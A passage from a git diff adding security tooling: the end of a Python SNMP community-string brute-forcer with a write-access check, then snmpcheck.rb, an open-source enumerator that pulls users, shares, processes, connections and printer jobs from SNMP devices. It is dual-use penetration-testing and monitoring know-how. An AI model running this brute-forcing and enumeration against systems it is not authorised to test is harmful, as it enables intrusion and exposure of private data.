Create the list of targets + if options.lfile: + try: + with open(options.lfile) as t: + ips = t.read().splitlines() #Potential DoS + except: + print "Could not open targets file: " + options.lfile + exit(0) + else: + ips.append(options.ip) + + if not options.colour: + defaults.colour=False + + # Create the list of communities + if options.dictionary: # Read from file + with open(options.dictionary) as f: + communities=f.read().splitlines() #Potential DoS + elif options.community: # Single community + communities.append(options.community) + elif options.stdin: # Read from input + communities=[] + else: #if not options.community and not options.dictionary and not options.stdin: + communities=default_communities + + #We ensure that default communities are included + #if 'public' not in communities: + # communities.append('public') + #if 'private' not in communities: + # communities.append('private') + + if options.stdin: + options.interactive=False + + results=[] + + if options.stdin: + print >> sys.stderr, "Reading input for community strings ..." + else: + print >> sys.stderr, "Trying %d community strings ..." % len(communities) + + if options.sploitego: #sploitego method of bruteforce + if ips: + for ip in ips: + for version in ['v1', 'v2c']: + bf = SNMPBruteForcer(ip, options.port, version, options.timeOut,options.rate) + result=bf.guess(communities) + for i in result: + r=SNMPResults() + r.addr=(ip,options.port) + r.version=version + r.community=i + results.append(r) + print ip, version+'\t',result + else: + parser.print_help() + + else: + results = password_brutefore(options, communities, ips) + + #We identify whether the community strings are read or write + if results: + printout("\nTrying identified strings for READ-WRITE ...",WHITE) + testSNMPWrite(results,options) + else: + printout("\nNo Community strings found",RED) + exit(0) + + #We attempt to enumerate the router + while options.enum: + SNMPenumeration(select_community(results,options),options) + + #if (True if raw_input("Enumerate with different community? (Y/n):").lower() == 'n' else False): + if get_input("Enumerate with different community? (y/N):",'y',options): + continue + else: + break + + if not options.enum: + select_community(results,options) + + print "Finished!" + +if __name__ == "__main__": + main() diff --git a/snmpcheck.rb b/snmpcheck.rb new file mode 100644 index 0000000..5b8eece --- /dev/null +++ b/snmpcheck.rb @@ -0,0 +1,1128 @@ +#!/usr/bin/env ruby + +# +# Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org) +# +# Snmpcheck is an open source tool distributed under GPL license. +# Its goal is to automate the process of gathering information of +# any devices with SNMP protocol support (Windows, Unix-like, +# network appliances, printers...). +# Like to snmpwalk, snmpcheck allows you to enumerate the SNMP devices +# and places the output in a very human readable friendly format. +# It could be useful for penetration testing or systems monitoring. +# More informations available from http://www.nothink.org. +# +# Install Ruby SNMP library using RubyGems: 'gem install snmp' +# +# --- +# +# License: (http://www.gnu.org/licenses/gpl.txt) +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +# +# Thanks to Metasploit contributors! +# http://www.rapid7.com/db/modules/auxiliary/scanner/snmp/snmp_enum +# + +# ruby version check +if RUBY_VERSION < "1.9.0" +abort <<-end_message +[!] snmpcheck requires Ruby version >= 1.9.0 +end_message +end + +require 'getoptlong' +require 'rubygems' +require 'snmp' +require 'timeout' + +include SNMP + +# catching Ctrl+C +trap("SIGINT") { exit! } + +# disable verbose +$VERBOSE = nil + +script_name = 'snmpcheck.rb'; +script_version = 'v1.9'; +script_description = 'SNMP enumerator'; +script_copyright = 'Copyright (c) 2005-2015'; +script_author = 'Matteo Cantoni (www.nothink.org)'; + +script_usage = " Usage: #{script_name} [OPTIONS] \n + -p --port : SNMP port. Default port is 161; + -c --community : SNMP community. Default is public; + -v --version : SNMP version (1,2c). Default is 1;\n + -w --write : detect write access (separate action by enumeration);\n + -d --disable_tcp : disable TCP connections enumeration! + -t --timeout : timeout in seconds. Default is 5; + -r --retries : request retries. Default is 1; + -i --info : show script version; + -h --help : show help menu;\n\n" + +def print_banner(script_name,script_version,script_description,script_copyright,script_author) + puts "#{script_name} #{script_version} - #{script_description}\n#{script_copyright} by #{script_author}\n\n" +end + +def print_things(msg='',prefix) + case prefix + when 'error' + puts "[!] #{msg}" + when 'info' + puts "[+] #{msg}" + when 'result' + puts "[*] #{msg}" + end +end + +def truncate_to_twidth(string,twidth) + string.slice(0..twidth-2) +end + +def number_to_human_size(size,unit) + size = size.first.to_i * unit.first.to_i + + if size < 1024 + "#{size} bytes" + elsif size < 1024.0 * 1024.0 + "%.02f KB" % (size / 1024.0) + elsif size < 1024.0 * 1024.0 * 1024.0 + "%.02f MB" % (size / 1024.0 / 1024.0) + else + "%.02f GB" % (size / 1024.0 / 1024.0 / 1024.0) + end +end + +target = nil +port = 161 +community = 'public' +version = '1' +check_write = nil +disable_tcp = nil +timeout = 5 +retries = 1 + +begin + + opts = GetoptLong.new( + [ '--port', '-p', GetoptLong::REQUIRED_ARGUMENT ], + [ '--community', '-c', GetoptLong::REQUIRED_ARGUMENT ], + [ '--version', '-v', GetoptLong::REQUIRED_ARGUMENT ], + [ '--write', '-w', GetoptLong::NO_ARGUMENT ], + [ '--disable_tcp', '-d', GetoptLong::NO_ARGUMENT ], + [ '--timeout', '-t', GetoptLong::REQUIRED_ARGUMENT ], + [ '--retries', '-r', GetoptLong::REQUIRED_ARGUMENT ], + [ '--info', '-i', GetoptLong::NO_ARGUMENT ], + [ '--help', '-h', GetoptLong::NO_ARGUMENT ] + ) + + opts.each do |opt, arg| + case opt + when '--port' + port = arg.to_i + when '--community' + community = arg.to_s + when '--version' + version = arg.to_s + when '--write' + check_write = 1 + when '--disable_tcp' + disable_tcp = 1 + when '--timeout' + timeout = arg.to_i + when '--retries' + retries = arg.to_i + when '--info' + print_banner(script_name,script_version,script_description,script_copyright,script_author) + exit 0 + when '--help' + print_banner(script_name,script_version,script_description,script_copyright,script_author) + puts script_usage + exit 0 + end + end + +rescue GetoptLong::InvalidOption, GetoptLong::MissingArgument, GetoptLong::NeedlessArgument + exit 1; +end + +if ARGV.length != 1 + print_things("You need specify a IP address target!","error") + exit 0 +end + +target = ARGV.shift + +if target !~ /^([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])\.([01]?\d\d?|2[0-4]\d|25[0-5])$/ + print_things("Invalid IP address!","error") + exit 0 +end + +# is there a community length limit? +if community.length >= 25 + print_things("Invalid community length!","error") + exit 0 +end + +if port < 0 or port > 65535 + print_things("Invalid port!","error") + exit 0 +end + +if retries < 0 or retries > 10 + print_things("Invalid 'retries' value!","error") + exit 0 +end + +if version == '1' + version = :SNMPv1 +elsif version == '2c' + version = :SNMPv2c +else + print_things("SNMP version invalid! We'll use 1 version!","error") + version = :SNMPv1 +end + +fields_order = [ + "Host IP address","Hostname","Description","Contact","Location","Uptime snmp","Uptime system", + "System date","Domain","User accounts","Network information","Network interfaces", + "Network IP","Routing information","TCP connections and listening ports","Listening UDP ports", + "Network services","Processes","Storage information","File system information","Device information", + "Software components","IIS server information","Share","HP LaserJet printer enumeration" +] + +output_data = {} +output_data = {"Host IP address" => target} + +print_banner(script_name,script_version,script_description,script_copyright,script_author) +print_things("Try to connect to #{target}:#{port} using #{version} and community '#{community}'","info") +print_things("Write access check enabled\n","info") unless check_write.nil? +print_things("TCP connections enumeration disabled","info") unless disable_tcp.nil? +puts + +begin + + SNMP::Manager.open( + :Host => target, + :Port => port, + :Community => community, + :Version => version, + :Timeout => timeout, + :Retries => retries + ) do |manager| + + sysName = manager.get_value('1.3.6.1.2.1.1.5.0').to_s + output_data["Hostname"] = sysName.strip + + # check write access + if check_write and sysName + # 1.3.6.1.2.1.1.5.0 - sysName + varbind = VarBind.new("1.3.6.1.2.1.1.5.0",OctetString.new(sysName.strip)) + resp = manager.set(varbind) + + if resp.error_status == :noError + print_things("Write access permitted!\n\n","result") + else + print_things("Write access not permitted!\n","result") + end + end + + sysDesc = manager.get_value('1.3.6.1.2.1.1.1.0').to_s + sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ') + output_data["Description"] = sysDesc.strip + + sysContact = manager.get_value('1.3.6.1.2.1.1.4.0').to_s + output_data["Contact"] = sysContact.strip + + sysLocation = manager.get_value('1.3.6.1.2.1.1.6.0').to_s + output_data["Location"] = sysLocation.strip + + sysUpTimeInstance = manager.get_value('1.3.6.1.2.1.1.3.0').to_s + output_data["Uptime system"] = sysUpTimeInstance.strip + + hrSystemUptime = manager.get_value('1.3.6.1.2.1.25.1.1.0').to_s + output_data["Uptime snmp"] = hrSystemUptime.strip + hrSystemUptime = '-' if hrSystemUptime.to_s =~ /Null/ + + year = month = day = hour = minutes = seconds = tenths = 0 + + systemDate = manager.get_value('1.3.6.1.2.1.25.1.2.0') + str = systemDate.to_s + if (str.empty? or str =~ /Null/ or str =~ /^noSuch/) + output_data["System date"] = '-' + else + # RFC 2579 - Textual Conventions for SMIv2 + # http://www.faqs.org/rfcs/rfc2579.html + + systemDate = systemDate.unpack('C*') + + year = systemDate[0] * 256 + systemDate[1] + month = systemDate[2] || 0 + day = systemDate[3] || 0 + hour = systemDate[4] || 0 + minutes = systemDate[5] || 0 + seconds = systemDate[6] || 0 + tenths = systemDate[7] || 0 + output_data["System date"] = sprintf("%d-%d-%d %02d:%02d:%02d.%d", year, month, day, hour, minutes, seconds, tenths) + end + + if (sysDesc =~ /Windows/) + + domPrimaryDomain = manager.get_value('1.3.6.1.4.1.77.1.4.1.0').to_s + output_data["Domain"] = domPrimaryDomain.strip + + users = [] + + manager.walk(["1.3.6.1.4.1.77.1.2.25.1.1","1.3.6.1.4.1.77.1.2.25.1"]) do |user,entry| + users.push([user.value]) + end + + if not users.empty? + output_data["User accounts"] = users + end + end + + network_information = {} + + ipForwarding = manager.get_value('1.3.6.1.2.1.4.1.0') + + if ipForwarding == 0 || ipForwarding == 2 + ipForwarding = "no" + network_information["IP forwarding enabled"] = ipForwarding + elsif ipForwarding == 1 + ipForwarding = "yes" + network_information["IP forwarding enabled"] = ipForwarding + end + + ipDefaultTTL = manager.get_value('1.3.6.1.2.1.4.2.0') + if ipDefaultTTL.to_s !~ /Null/ + network_information["Default TTL"] = ipDefaultTTL + end + + tcpInSegs = manager.get_value('1.3.6.1.2.1.6.10.0') + if tcpInSegs.to_s !~ /Null/ + network_information["TCP segments received"] = tcpInSegs + end + + tcpOutSegs = manager.get_value('1.3.6.1.2.1.6.11.0') + if tcpOutSegs.to_s !~ /Null/ + network_information["TCP segments sent"] = tcpOutSegs + end + + tcpRetransSegs = manager.get_value('1.3.6.1.2.1.6.12.0') + if tcpRetransSegs.to_s !~ /Null/ + network_information["TCP segments retrans"] = tcpRetransSegs + end + + ipInReceives = manager.get_value('1.3.6.1.2.1.4.3.0') + if ipInReceives.to_s !~ /Null/ + network_information["Input datagrams"] = ipInReceives + end + + ipInDelivers = manager.get_value('1.3.6.1.2.1.4.9.0') + if ipInDelivers.to_s !~ /Null/ + network_information["Delivered datagrams"] = ipInDelivers + end + + ipOutRequests = manager.get_value('1.3.6.1.2.1.4.10.0') + if ipOutRequests.to_s !~ /Null/ + network_information["Output datagrams"] = ipOutRequests + end + + if not network_information.empty? + output_data["Network information"] = network_information + end + + network_interfaces = [] + + manager.walk([ + "1.3.6.1.2.1.2.2.1.1","1.3.6.1.2.1.2.2.1.2","1.3.6.1.2.1.2.2.1.6", + "1.3.6.1.2.1.2.2.1.3","1.3.6.1.2.1.2.2.1.4","1.3.6.1.2.1.2.2.1.5", + "1.3.6.1.2.1.2.2.1.10","1.3.6.1.2.1.2.2.1.16","1.3.6.1.2.1.2.2.1.7" + ]) do |index,descr,mac,type,mtu,speed,inoc,outoc,status| + + ifindex = index.value + ifdescr = descr.value + ifmac = mac.value.unpack("H2H2H2H2H2H2").join(":") + iftype = type.value + ifmtu = mtu.value + ifspeed = speed.value.to_i + ifinoc = inoc.value + ifoutoc = outoc.value + ifstatus = status.value + + case iftype + when 1 + iftype = "other" + when 2 + iftype = "regular1822" + when 3 + iftype = "hdh1822" + when 4 + iftype = "ddn-x25" + when 5 + iftype = "rfc877-x25" + when 6 + iftype = "ethernet-csmacd" + when 7 + iftype = "iso88023-csmacd" + when 8 + iftype = "iso88024-tokenBus" + when 9 + iftype = "iso88025-tokenRing" + when 10 + iftype = "iso88026-man" + when 11 + iftype = "starLan" + when 12 + iftype = "proteon-10Mbit" + when 13 + iftype = "proteon-80Mbit" + when 14 + iftype = "hyperchannel" + when 15 + iftype = "fddi" + when 16 + iftype = "lapb" + when 17 + iftype = "sdlc" + when 18 + iftype = "ds1" + when 19 + iftype = "e1" + when 20 + iftype = "basicISDN" + when 21 + iftype = "primaryISDN" + when 22 + iftype = "propPointToPointSerial" + when 23 + iftype = "ppp" + when 24 + iftype = "softwareLoopback" + when 25 + iftype = "eon" + when 26 + iftype = "ethernet-3Mbit" + when 27 + iftype = "nsip" + when 28 + iftype = "slip" + when 29 + iftype = "ultra" + when 30 + iftype = "ds3" + when 31 + iftype = "sip" + when 32 + iftype = "frame-relay" + else + iftype = "unknown" + end + + case ifstatus + when 1 + ifstatus = "up" + when 2 + ifstatus = "down" + when 3 + ifstatus = "testing" + else + ifstatus = "unknown" + end + + ifspeed = ifspeed / 1000000 + + network_interfaces.push({ + "Interface" => "[ #{ifstatus} ] #{ifdescr}", + "Id" => ifindex, + "Mac Address" => ifmac, + "Type" => iftype, + "Speed" => "#{ifspeed} Mbps", + "MTU" => ifmtu, + "In octets" => ifinoc, + "Out octets" => ifoutoc + }) + end + + if not network_interfaces.empty? + output_data["Network interfaces"] = network_interfaces + end + + network_ip = [] + + manager.walk([ + "1.3.6.1.2.1.4.20.1.2","1.3.6.1.2.1.4.20.1.1", + "1.3.6.1.2.1.4.20.1.3","1.3.6.1.2.1.4.20.1.4" + ]) do |ifid,ipaddr,netmask,bcast| + network_ip.push([ifid.value, ipaddr.value, netmask.value, bcast.value]) + end + + if not network_ip.empty? + output_data["Network IP"] = [["Id","IP Address","Netmask","Broadcast"]] + network_ip + end + + routing = [] + + manager.walk([ + "1.3.6.1.2.1.4.21.1.1","1.3.6.1.2.1.4.21.1.7", + "1.3.6.1.2.1.4.21.1.11","1.3.6.1.2.1.4.21.1.3" + ]) do |dest,hop,mask,metric| + if (metric.value.to_s.empty?) + metric.value = '-' + end + routing.push([dest.value, hop.value, mask.value, metric.value]) + end + + if not routing.empty? + output_data["Routing information"] = [["Destination","Next hop","Mask","Metric"]] + routing + end + + if disable_tcp.nil? + + tcp = [] + + manager.walk([ + "1.3.6.1.2.1.6.13.1.2","1.3.6.1.2.1.6.13.1.3","1.3.6.1.2.1.6.13.1.4", + "1.3.6.1.2.1.6.13.1.5","1.3.6.1.2.1.6.13.1.1" + ]) do |ladd,lport,radd,rport,state| + + if (ladd.value.to_s.empty? or ladd.value.to_s =~ /noSuchInstance/) + ladd = "-" + else + ladd = ladd.value + end + + if (lport.value.to_s.empty? or lport.value.to_s =~ /noSuchInstance/) + lport = "-" + else + lport = lport.value + end + + if (radd.value.to_s.empty? or radd.value.to_s =~ /noSuchInstance/) + radd = "-" + else + radd = radd.value + end + + if (rport.value.to_s.empty? or rport.value.to_s =~ /noSuchInstance/) + rport = "-" + else + rport = rport.value + end + + case state.value + when 1 + state = "closed" + when 2 + state = "listen" + when 3 + state = "synSent" + when 4 + state = "synReceived" + when 5 + state = "established" + when 6 + state = "finWait1" + when 7 + state = "finWait2" + when 8 + state = "closeWait" + when 9 + state = "lastAck" + when 10 + state = "closing" + when 11 + state = "timeWait" + when 12 + state = "deleteTCB" + else + state = "unknown" + end + + tcp.push([ladd, lport, radd, rport, state]) + end + + if not tcp.empty? + output_data["TCP connections and listening ports"] = [["Local address","Local port","Remote address","Remote port","State"]] + tcp + end + end + + udp = [] + + manager.walk(["1.3.6.1.2.1.7.5.1.1","1.3.6.1.2.1.7.5.1.2"]) do |ladd,lport| + udp.push([ladd.value, lport.value]) + end + + if not udp.empty? + output_data["Listening UDP ports"] = [["Local address","Local port"]] + udp + end + + if (sysDesc =~ /Windows/) + + network_services = [] + + n = 0 + + manager.walk(["1.3.6.1.4.1.77.1.2.3.1.1","1.3.6.1.4.1.77.1.2.3.1.2"]) do |name,installed| + network_services.push([n,name.value]) + n+=1 + end + + if not network_services.empty? + output_data["Network services"] = [["Index","Name"]] + network_services + end + + share = [] + + manager.walk([ + "1.3.6.1.4.1.77.1.2.27.1.1","1.3.6.1.4.1.77.1.2.27.1.2","1.3.6.1.4.1.77.1.2.27.1.3" + ]) do |name,path,comment| + share.push({" Name"=>name.value, " Path"=>path.value, " Comment"=>comment.value}) + end + + if not share.empty? + output_data["Share"] = share + end + + iis = {} + + http_totalBytesSentLowWord = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.2.0') + if http_totalBytesSentLowWord.to_s !~ /Null/ + iis["TotalBytesSentLowWord"] = http_totalBytesSentLowWord + end + + http_totalBytesReceivedLowWord = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.4.0') + if http_totalBytesReceivedLowWord.to_s !~ /Null/ + iis["TotalBytesReceivedLowWord"] = http_totalBytesReceivedLowWord + end + + http_totalFilesSent = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.5.0') + if http_totalFilesSent.to_s !~ /Null/ + iis["TotalFilesSent"] = http_totalFilesSent + end + + http_currentAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.6.0') + if http_currentAnonymousUsers.to_s !~ /Null/ + iis["CurrentAnonymousUsers"] = http_currentAnonymousUsers + end + + http_currentNonAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.7.0') + if http_currentNonAnonymousUsers.to_s !~ /Null/ + iis["CurrentNonAnonymousUsers"] = http_currentNonAnonymousUsers + end + + http_totalAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.8.0') + if http_totalAnonymousUsers.to_s !~ /Null/ + iis["TotalAnonymousUsers"] = http_totalAnonymousUsers + end + + http_totalNonAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.9.0') + if http_totalNonAnonymousUsers.to_s !~ /Null/ + iis["TotalNonAnonymousUsers"] = http_totalNonAnonymousUsers + end + + http_maxAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.10.0') + if http_maxAnonymousUsers.to_s !~ /Null/ + iis["MaxAnonymousUsers"] = http_maxAnonymousUsers + end + + http_maxNonAnonymousUsers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.11.0') + if http_maxNonAnonymousUsers.to_s !~ /Null/ + iis["MaxNonAnonymousUsers"] = http_maxNonAnonymousUsers + end + + http_currentConnections = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.12.0') + if http_currentConnections.to_s !~ /Null/ + iis["CurrentConnections"] = http_currentConnections + end + + http_maxConnections = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.13.0') + if http_maxConnections.to_s !~ /Null/ + iis["MaxConnections"] = http_maxConnections + end + + http_connectionAttempts = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.14.0') + if http_connectionAttempts.to_s !~ /Null/ + iis["ConnectionAttempts"] = http_connectionAttempts + end + + http_logonAttempts = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.15.0') + if http_logonAttempts.to_s !~ /Null/ + iis["LogonAttempts"] = http_logonAttempts + end + + http_totalGets = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.16.0') + if http_totalGets.to_s !~ /Null/ + iis["Gets"] = http_totalGets + end + + http_totalPosts = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.17.0') + if http_totalPosts.to_s !~ /Null/ + iis["Posts"] = http_totalPosts + end + + http_totalHeads = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.18.0') + if http_totalHeads.to_s !~ /Null/ + iis["Heads"] = http_totalHeads + end + + http_totalOthers = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.19.0') + if http_totalOthers.to_s !~ /Null/ + iis["Others"] = http_totalOthers + end + + http_totalCGIRequests = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.20.0') + if http_totalCGIRequests.to_s !~ /Null/ + iis["CGIRequests"] = http_totalCGIRequests + end + + http_totalBGIRequests = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.21.0') + if http_totalBGIRequests.to_s !~ /Null/ + iis["BGIRequests"] = http_totalBGIRequests + end + + http_totalNotFoundErrors = manager.get_value('1.3.6.1.4.1.311.1.7.3.1.22.0') + if http_totalNotFoundErrors.to_s !~ /Null/ + iis["NotFoundErrors"] = http_totalNotFoundErrors + end + + if not iis.empty? + output_data["IIS server information"] = iis + end + end + + storage_information = [] + + manager.walk([ + "1.3.6.1.2.1.25.2.3.1.1","1.3.6.1.2.1.25.2.3.1.2","1.3.6.1.2.1.25.2.3.1.3", + "1.3.6.1.2.1.25.2.3.1.4","1.3.6.1.2.1.25.2.3.1.5","1.3.6.1.2.1.25.2.3.1.6" + ]) do |index,type,descr,allocation,size,used| + + case type.value.to_s + when /^1.3.6.1.2.1.25.2.1.1$/ + type.value = "Other" + when /^1.3.6.1.2.1.25.2.1.2$/ + type.value = "Ram" + when /^1.3.6.1.2.1.25.2.1.3$/ + type.value = "Virtual Memory" + when /^1.3.6.1.2.1.25.2.1.4$/ + type.value = "Fixed Disk" + when /^1.3.6.1.2.1.25.2.1.5$/ + type.value = "Removable Disk" + when /^1.3.6.1.2.1.25.2.1.6$/ + type.value = "Floppy Disk" + when /^1.3.6.1.2.1.25.2.1.7$/ + type.value = "Compact Disc" + when /^1.3.6.1.2.1.25.2.1.8$/ + type.value = "RamDisk" + when /^1.3.6.1.2.1.25.2.1.9$/ + type.value = "Flash Memory" + when /^1.3.6.1.2.1.25.2.1.10$/ + type.value = "Network Disk" + else + type.value = "unknown" + end + + allocation.value = "unknown" if allocation.value.to_s =~ /noSuchInstance/ + size.value = "unknown" if size.value.to_s =~ /noSuchInstance/ + used.value = "unknown" if used.value.to_s =~ /noSuchInstance/ + + storage_information.push([[descr.value],[index.value],[type.value],[allocation.value],[size.value],[used.value]]) + end + + if not storage_information.empty? + storage = [] + storage_information.each {|a,b,c,d,e,f| + s = {} + + e = number_to_human_size(e,d) + f = number_to_human_size(f,d) + + s["Description"]= a + s["Device id"] = b + s["Filesystem type"] = c + s["Device unit"] = d + s["Memory size"] = e + s["Memory used"] = f + + storage.push(s) + } + output_data["Storage information"] = storage + end + + file_system = {} + + hrFSIndex = manager.get_value('1.3.6.1.2.1.25.3.8.1.1.1') + if hrFSIndex.to_s !~ /Null/ + file_system["Index"] = hrFSIndex + end + + hrFSMountPoint = manager.get_value('1.3.6.1.2.1.25.3.8.1.2.1') + if hrFSMountPoint.to_s !~ /Null/ + file_system["Mount point"] = hrFSMountPoint + end + + hrFSRemoteMountPoint = manager.get_value('1.3.6.1.2.1.25.3.8.1.3.1') + if hrFSRemoteMountPoint.to_s !~ /Null/ and hrFSRemoteMountPoint.to_s !~ /^noSuch/ + if hrFSRemoteMountPoint.empty? + hrFSRemoteMountPoint = '-' + end + file_system["Remote mount point"] = hrFSRemoteMountPoint + end + + hrFSType = manager.get_value('1.3.6.1.2.1.25.3.8.1.4.1') + + case hrFSType.to_s + when /^1.3.6.1.2.1.25.3.9.1$/ + hrFSType = "Other" + when /^1.3.6.1.2.1.25.3.9.2$/ + hrFSType = "Unknown" + when /^1.3.6.1.2.1.25.3.9.3$/ + hrFSType = "BerkeleyFFS" + when /^1.3.6.1.2.1.25.3.9.4$/ + hrFSType = "Sys5FS" + when /^1.3.6.1.2.1.25.3.9.5$/ + hrFSType = "Fat" + when /^1.3.6.1.2.1.25.3.9.6$/ + hrFSType = "HPFS" + when /^1.3.6.1.2.1.25.3.9.7$/ + hrFSType = "HFS" + when /^1.3.6.1.2.1.25.3.9.8$/ + hrFSType = "MFS" + when /^1.3.6.1.2.1.25.3.9.9$/ + hrFSType = "NTFS" + when /^1.3.6.1.2.1.25.3.9.10$/ + hrFSType = "VNode" + when /^1.3.6.1.2.1.25.3.9.11$/ + hrFSType = "Journaled" + when /^1.3.6.1.2.1.25.3.9.12$/ + hrFSType = "iso9660" + when /^1.3.6.1.2.1.25.3.9.13$/ + hrFSType = "RockRidge" + when /^1.3.6.1.2.1.25.3.9.14$/ + hrFSType = "NFS" + when /^1.3.6.1.2.1.25.3.9.15$/ + hrFSType = "Netware" + when /^1.3.6.1.2.1.25.3.9.16$/ + hrFSType = "AFS" + when /^1.3.6.1.2.1.25.3.9.17$/ + hrFSType = "DFS" + when /^1.3.6.1.2.1.25.3.9.18$/ + hrFSType = "Appleshare" + when /^1.3.6.1.2.1.25.3.9.19$/ + hrFSType = "RFS" + when /^1.3.6.1.2.1.25.3.9.20$/ + hrFSType = "DGCFS" + when /^1.3.6.1.2.1.25.3.9.21$/ + hrFSType = "BFS" + when /^1.3.6.1.2.1.25.3.9.22$/ + hrFSType = "FAT32" + when /^1.3.6.1.2.1.25.3.9.23$/ + hrFSType = "LinuxExt2" + else + hrFSType = "Null" + end + + if hrFSType.to_s !~ /Null/ + file_system["Type"] = hrFSType + end + + hrFSAccess = manager.get_value('1.3.6.1.2.1.25.3.8.1.5.1') + if hrFSAccess.to_s !~ /Null/ + file_system["Access"] = hrFSAccess + end + + hrFSBootable = manager.get_value('1.3.6.1.2.1.25.3.8.1.6.1') + if hrFSBootable.to_s !~ /Null/ + file_system["Bootable"] = hrFSBootable + end + + if not file_system.empty? + output_data["File system information"] = file_system + end + + device_information = [] + + manager.walk([ + "1.3.6.1.2.1.25.3.2.1.1","1.3.6.1.2.1.25.3.2.1.2", + "1.3.6.1.2.1.25.3.2.1.5","1.3.6.1.2.1.25.3.2.1.3" + ]) do |index,type,status,descr| + + case type.value.to_s + when /^1.3.6.1.2.1.25.3.1.1$/ + type.value = "Other" + when /^1.3.6.1.2.1.25.3.1.2$/ + type.value = "Unknown" + when /^1.3.6.1.2.1.25.3.1.3$/ + type.value = "Processor" + when /^1.3.6.1.2.1.25.3.1.4$/ + type.value = "Network" + when /^1.3.6.1.2.1.25.3.1.5$/ + type.value = "Printer" + when /^1.3.6.1.2.1.25.3.1.6$/ + type.value = "Disk Storage" + when /^1.3.6.1.2.1.25.3.1.10$/ + type.value = "Video" + when /^1.3.6.1.2.1.25.3.1.11$/ + type.value = "Audio" + when /^1.3.6.1.2.1.25.3.1.12$/ + type.value = "Coprocessor" + when /^1.3.6.1.2.1.25.3.1.13$/ + type.value = "Keyboard" + when /^1.3.6.1.2.1.25.3.1.14$/ + type.value = "Modem" + when /^1.3.6.1.2.1.25.3.1.15$/ + type.value = "Parallel Port" + when /^1.3.6.1.2.1.25.3.1.16$/ + type.value = "Pointing" + when /^1.3.6.1.2.1.25.3.1.17$/ + type.value = "Serial Port" + when /^1.3.6.1.2.1.25.3.1.18$/ + type.value = "Tape" + when /^1.3.6.1.2.1.25.3.1.19$/ + type.value = "Clock" + when /^1.3.6.1.2.1.25.3.1.20$/ + type.value = "Volatile Memory" + when /^1.3.6.1.2.1.25.3.1.21$/ + type.value = "Non Volatile Memory" + else + type.value = "unknown" + end + + case status.value + when 1 + status.value = "unknown" + when 2 + status.value = "running" + when 3 + status.value = "warning" + when 4 + status.value = "testing" + when 5 + status.value = "down" + else + status.value = "unknown" + end + + descr.value = "unknown" if descr.value.to_s =~ /noSuchInstance/ + + device_information.push([index.value, type.value, status.value, descr.value]) + end + + if not device_information.empty? + output_data["Device information"] = [["Id","Type","Status","Descr"]] + device_information + end + + software_list = [] + + manager.walk(["1.3.6.1.2.1.25.6.3.1.1","1.3.6.1.2.1.25.6.3.1.2"]) do |index,name| + software_list.push([index.value,name.value]) + end + + if not software_list.empty? + output_data["Software components"] = [["Index","Name"]] + software_list + end + + process_interfaces = [] + + manager.walk([ + "1.3.6.1.2.1.25.4.2.1.1","1.3.6.1.2.1.25.4.2.1.2","1.3.6.1.2.1.25.4.2.1.4", + "1.3.6.1.2.1.25.4.2.1.5","1.3.6.1.2.1.25.4.2.1.7" + ]) do |id,name,path,param,status| + + if status.value == 1 + status.value = "running" + elsif status.value == 2 + status.value = "runnable" + else + status.value = "unknown" + end + + process_interfaces.push([id.value, status.value, name.value, path.value, param.value]) + end + + if not process_interfaces.empty? + output_data["Processes"] = [["Id","Status","Name","Path","Parameters"]] + process_interfaces + end + + hp_laserjet_printer_enumeration = [] + + manager.walk([ + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1", # job-info-name1 - document name1 + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.2", # job-info-name2 - document name2 + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1", # job-info-attr-1 - username + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2", # job-info-attr-2 - machine name + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.3", # job-info-attr-3 - domain (?) + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.4", # job-info-attr-4 - timestamp + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.6", # job-info-attr-6 - application name + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.7", # job-info-attr-7 - application command + ]) do |name1,name2,username,client,domain,timestamp,app_name,app_command| + + filename = name1.value.to_s + name2.value.to_s + + if (username.value.to_s !~ /noSuchInstance/) + if username.value.to_s =~ /^JobAcct(\d+)=(.*)/ + username = $2 + else + username = '-' + end + else + username = '-' + end + + if (client.value.to_s !~ /noSuchInstance/) + if client.value.to_s =~ /^JobAcct(\d+)=(.*)/ + client = $2 + else + client = '-' + end + else + client = '-' + end + + if (domain.value.to_s !~ /noSuchInstance/) + if domain.value.to_s =~ /^JobAcct(\d+)=(.*)/ + domain = $2 + domain = '-' if domain.empty? + else + domain = '-' + end + else + domain = '-' + end + + if timestamp.value.to_s !~ /noSuchInstance/ + if timestamp.value.to_s =~ 